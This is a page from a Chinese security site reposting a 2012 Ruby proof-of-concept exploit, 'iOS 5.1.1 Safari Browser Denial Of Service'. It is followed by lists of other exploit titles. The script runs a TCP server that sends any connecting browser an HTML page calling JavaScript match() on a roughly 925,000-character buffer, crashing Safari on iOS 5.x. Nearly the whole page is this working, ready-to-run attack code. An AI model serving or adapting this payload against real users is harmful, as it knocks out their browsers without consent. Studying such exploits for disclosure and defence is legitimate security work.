首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
iOS 5.1.1 Safari Browser Denial Of Service
来源:alberto[@]pentbox[.]net 作者:Alberto 发布时间:2012-05-28  
#!/usr/bin/env ruby

# - Title
# iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC

# - Author
# Alberto Ortega @a0rtega
# alberto[@]pentbox[.]net

# - Summary
# A vulnerability has been discovered in Apple Safari Browser
# included in the last version of iOS (5.1.1).
#
# Previous versions may be affected too.
#
# When JavaScript function match() gets a big buffer as
# parameter the browser unexpectedly crashes.
#
# By extension, the function search() is affected too.
#
# Tested on iOS 5.0.1, 5.1.0, 5.1.1
# Tested on iPod Touch, iPhone and iPad iOS devices.

require "socket"
require "optparse"

# Buffer values
chr = "A"
# The size of buffer needed may vary depending
# on the device and the iOS version.
buffer_len = 925000

# Magic packet
body = "\
<html>\n\
<head><title>Crash PoC</title></head>\n\
<script type=\"text/javascript\">\n\
var s = \"poc\";\n\
s.match(\"#{chr*buffer_len}\");\n\
</script>\n\
</html>";

def help()
  puts "iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC"
  puts "#{$0} -p bind_port [-h bind_address] [--verbose]"
end

# Parsing options
opts = {}
optparser = OptionParser.new do |op|
  op.on("-h", "--host HOST") do |p|
    opts["host"] = p
  end
  op.on("-p", "--port PORT") do |p|
    opts["port"] = p
  end
  op.on("-v", "--verbose") do |p|
    opts["verbose"] = true
  end
end

begin
  optparser.parse!
rescue
  help()
  exit 1
end

if (opts.length == 0 || opts["port"] == nil)
  help()
  exit 1
end

if (opts["verbose"] != nil)
  debug = true
else
  debug = false
end
if (opts["host"] != nil)
  host = opts["host"]
else
  host = "0.0.0.0"
end
port = opts["port"]

# Building server
if debug
  puts "Buffer -> #{chr}*#{buffer_len}"
end

begin
  serv = TCPServer.new(host, port)
  puts "Listening on #{host}:#{port.to_s} ..."
rescue
  puts "Error listening on #{host}:#{port.to_s}"
  exit 1
end

begin
  s = serv.accept()
  if debug
    puts "Client connected, waiting petition ..."
  end
  data = s.recv(1000)
  if debug
    puts "Sending crafted packet ..."
  end
  s.print(body)
  if debug
    puts "Closing connection ..."
  end
  s.close()
  puts "Done!"
rescue
  puts "Error sending data"
  exit 1
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·b2ePMS 1.0 multiple SQLi Vulne
·LibreOffice 3.5.3 .rtf FileOpe
·WeBid converter.php Remote PHP
·Symantec Web Gateway 5.0.2.8 C
·QuickShare File Share 1.2.1 Di
·LibreOffice 3.5.3 .rtf FileOpe
·Symantec Web Gateway 5.0.2 Rem
·WinRadius 2009 Denial Of Servi
·RabidHamster R4 Log Entry spri
·ispVM System XCF File Handling
·bsnes v0.87 Local Denial Of Se
·Tftpd32 DNS Server 4.00 Denial
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved